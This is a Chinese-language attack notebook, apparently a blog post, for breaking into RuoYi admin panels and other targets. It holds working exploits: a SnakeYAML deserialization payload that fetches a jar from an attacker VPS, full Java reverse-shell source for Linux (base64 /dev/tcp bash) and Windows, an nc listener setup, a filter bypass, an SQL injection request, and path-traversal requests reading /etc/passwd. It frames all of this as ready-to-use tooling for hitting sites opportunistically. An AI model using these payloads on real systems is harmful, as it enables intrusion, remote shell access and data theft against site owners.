碰到若依的站现在是越来越多了,既然量上来了,那肯定是要做下记录。下次遇见就直接把poc都扔上去,有洞就收,没洞就直接跑路:)
看了下ruoyi的源码,后台初始化是有几个默认账号的
如果你能顺利进入后台,那就成功了一小半。进去后直接找定时任务
如果没有该标签,应该是被隐藏了,通过如下方法设为启用状态即可
或者直接访问路径:/monitor/job。现在演示一下反弹shell的操作
这里的 调用目标字符串 poc为:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps_ip:vps_port"]]]]')
如果http被加入黑名单,可采用h’t’t’p://方式绕过。然后需要修改编译如下项目的jar包
项目地址:
https://github.com/Y4er/yaml-payload
修改其项目文件:yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java 这里建议复制如下代码直接替换源文件
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX3Zwc19pcC92cHNfcG9ydCAwPiYx}|{base64,-d}|{bash,-i}"); // 这里填入编码后的语句即可保存
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
注意:反弹shell语句需要编码
备注:此替换源代码来源于项目:https://github.com/artsploit/yaml-payload 文件修改完成后,编译运行生成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
将生成的新jar包上传至自己的vps,使用python起一个简单的web服务(python3 -m http.server port),同时在起一个nc -lvvp 进行端口监听即可。最后把计划任务启动即可接受shell了。
当目标服务器类型为windows,将AwesomeScriptEngineFactory.java的内容替换成如下源代码,并将其中的host与port修改,再进行编译即可
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() throws java.io.IOException, InterruptedException {
try {
String host="ip";
int port=port;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s=new java.net.Socket(host,port);
java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
备注:此替换源代码来源于项目:https://github.com/bkfish/yaml-payload-for-Win 剩下的流程都是一样的^^,感谢师傅的分享
后台登陆获得Cookie之后直接抓包修改,poc如下,填入ip与cookie即可:
POST /system/role/list HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: target_cookie
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
同样的,这也需要登录后台获取Cookie后才能执行的漏洞,exp如下
GET /common/download/resource?resource=/profile/../../../../../../etc/passwd HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: target_cookie
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
需要登录后台抓包获取session后,在定时任务处创建任务调用Bean: ruoYiConfig.setProfile(‘/etc/passwd’),编辑好后保存,点击执行一次后抓包,修改如下即可看到相应的文件内容
GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1
Host: targetip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=target_session
Upgrade-Insecure-Requests: 1
或者你也可以直接访问路径:/common/download/resource?resource=Info.xml:.zip 下载文件查看
这里也是用到定时任务,需要调用:jdbcTemplate.execute()来执行sql语句。填入的语句需要进行hex。
这个扫描器配合工具撸就完事了…………